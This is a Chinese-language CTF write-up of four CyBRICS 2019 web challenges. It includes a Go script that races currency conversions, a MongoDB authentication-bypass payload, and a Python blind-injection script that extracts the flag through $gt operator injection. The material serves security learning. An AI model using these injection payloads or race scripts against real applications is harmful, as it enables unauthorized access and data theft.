美文网首页ctf网络安全
CyBRICS CTF 2019 WEB WriteUp

CyBRICS CTF 2019 WEB WriteUp

作者: _LuckyCat_ | 来源:发表于2019-07-29 16:41 被阅读40次

    Warmup

    访问时明显有个跳转,用burp拦截一下


    image.png

    Bitkoff Bank

    发现btc/usd互转的时候会给usd加钱,就写了个go程序来跑

    package main
    
    import (
        "fmt"
        "io/ioutil"
        "net/http"
        "regexp"
        "strings"
    )
    
    var url = "http://95.179.148.72:8083/index.php"
    
    func main() {
        go btc2usd("0.00009", true)
        for j:=0; j < 100; j++ {
            usd2btc("0.9")
            _, b := getmoney()
            btc2usd(b, false)
            fmt.Println(getmoney())
        }
        _, b := getmoney()
        btc2usd(b, false)
        fmt.Println(getmoney())
        fmt.Println("done")
    
    }
    
    func getmoney() (string, string) {
        client := &http.Client{}
        req,_ := http.NewRequest("POST",url,strings.NewReader(""))
        req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
        req.Header.Set("Cookie","name=catcat; password=catcat")
        resp2, _ := client.Do(req)
        body, _ := ioutil.ReadAll(resp2.Body)
        r := regexp.MustCompile("Your USD: <b>(.*)</b><br>Your")
        usd := r.FindStringSubmatch(string(body))[1]
        r = regexp.MustCompile(">Your BTC: <b>(.*)</b><br>")
        btc := r.FindStringSubmatch(string(body))[1]
        return usd, btc
    }
    
    
    func btc2usd(amount string, l bool) {
        client := &http.Client{}
        req,_ := http.NewRequest("POST",url,strings.NewReader("from_currency=btc&to_currency=usd&amount="+amount))
        req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
        req.Header.Set("Cookie","name=catcat; password=catcat")
        if l == true {
            for {
                client.Do(req)
            }
        } else {
            client.Do(req)
        }
    
    }
    
    func usd2btc(amount string) {
        client := &http.Client{}
        req,_ := http.NewRequest("POST",url,strings.NewReader("from_currency=usd&to_currency=btc&amount="+amount))
        req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
        req.Header.Set("Cookie","name=catcat; password=catcat")
        client.Do(req)
    }
    

    这样大改能0.002/次增加usd

    Caesaref

    题目出了非预期,应该是cookie设置直接用header加了,登进去输入vps地址就能拿到session,然后换上session后show flag一下


    image.png

    NopeSQL

    .git虽然404但加了个/


    image.png

    所以是骗人的404,用githack拉下来

    <?php
    require_once __DIR__ . "/vendor/autoload.php";
    
    function auth($username, $password) {
        $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->users;
        $raw_query = '{"username": "'.$username.'", "password": "'.$password.'"}';
        $document = $collection->findOne(json_decode($raw_query));
        if (isset($document) && isset($document->password)) {
            return true;
        }
        return false;
    }
    
    $user = false;
    if (isset($_COOKIE['username']) && isset($_COOKIE['password'])) {
        $user = auth($_COOKIE['username'], $_COOKIE['password']);
    }
    
    if (isset($_POST['username']) && isset($_POST['password'])) {
        $user = auth($_POST['username'], $_POST['password']);
        if ($user) {
            setcookie('username', $_POST['username']);
            setcookie('password', $_POST['password']);
        }
    }
    
    ?>
    
    <?php if ($user == true): ?>
    
        Welcome!
        <div>
            Group most common news by
            <a href="?filter=$category">category</a> |
            <a href="?filter=$public">publicity</a><br>
        </div>
    
        <?php
            $filter = $_GET['filter'];
    
            $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;
    
            $pipeline = [
                ['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
                ['$sort' => ['count' => -1]],
                ['$limit' => 5],
            ];
    
            $filters = [
                ['$project' => ['category' => $filter]]
            ];
    
            $cursor = $collection->aggregate(array_merge($filters, $pipeline));
        ?>
    
        <?php if (isset($filter)): ?>
    
            <?php
                foreach ($cursor as $category) {
                        printf("%s has %d news<br>", $category['_id'], $category['count']);
                }
            ?>
    
        <?php endif; ?>
    
    <?php else: ?>
    
        <?php if (isset($_POST['username']) && isset($_POST['password'])): ?>
            Invalid username or password
        <?php endif; ?>
    
        <form action='/' method="POST">
            <input type="text" name="username">
            <input type="password" name="password">
            <input type="submit">
        </form>
    
        <h2>News</h2>
        <?php
            $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;
            $cursor = $collection->find(['public' => 1]);
            foreach ($cursor as $news) {
                printf("%s<br>", $news['title']);
            }
        ?>
    
    <?php endif; ?>
    

    mongodb注入,之前没碰过mongodb,极速学习...
    首先auth函数中直接采取拼接字符串的方式构造json,可以用"来进行逃逸

    username: admin
    password: ","password":{"$ne":"a"},"username":"admin
    

    这样就能查找用户名为admin and 密码不是a的记录,肯定有的,所以顺利登进去

    image.png
    这里的逻辑对应的是
        <?php
            $filter = $_GET['filter'];
    
            $collection = (new MongoDB\Client('mongodb://localhost:27017/'))->test->news;
    
            $pipeline = [
                ['$group' => ['_id' => '$category', 'count' => ['$sum' => 1]]],
                ['$sort' => ['count' => -1]],
                ['$limit' => 5],
            ];
    
            $filters = [
                ['$project' => ['category' => $filter]]
            ];
    
            $cursor = $collection->aggregate(array_merge($filters, $pipeline));
        ?>
    

    $filters猜测是和group by差不多的作用,通过fuzz,发现category还能是$_id$text$title
    但是因为['$limit' => 5],所以不能直接用$text把flag内容打出来
    于是猜想filter[$ne] = xxx行不行,发现直接500了,为了知道报错是什么,本地搭了个环境

    image.png

    发现是需要两个参数,于是构造filter[$ne][0]=$public&filter[$ne][1]=1

    image.png
    发现没报错了,但是怎么都没变化,换个字段试试,比如category
    本地所有的category
    image.png
    image.png
    image.png
    ['$project' => ['category' => [$ne => ["category", "asdasd"]]]]
    

    可以,这不就可以用来盲注吗
    盲猜数组的构造
    于是写了个脚本

    import requests
    
    url = "http://173.199.118.226/index.php?filter[$gt][0]=$text&filter[$gt][1]="
    cookie = {
        "username": "admin",
        "password": '","password":{"$ne":"a"},"username":"admin'
    }
    
    res = ""
    for j in range(50):
        for i in range(33,127):
            s = chr(i)
            print s
            r = requests.get(url+res+s, cookies=cookie)
            # print r.text
            if "1 has" not in r.text:
                res += chr(i-1)
                print "----->",res
                break
    
    image.png

    最后一个|改成}就好了

    相关文章

      网友评论

        本文标题:CyBRICS CTF 2019 WEB WriteUp

        本文链接:https://www.haomeiwen.com/subject/bqialctx.html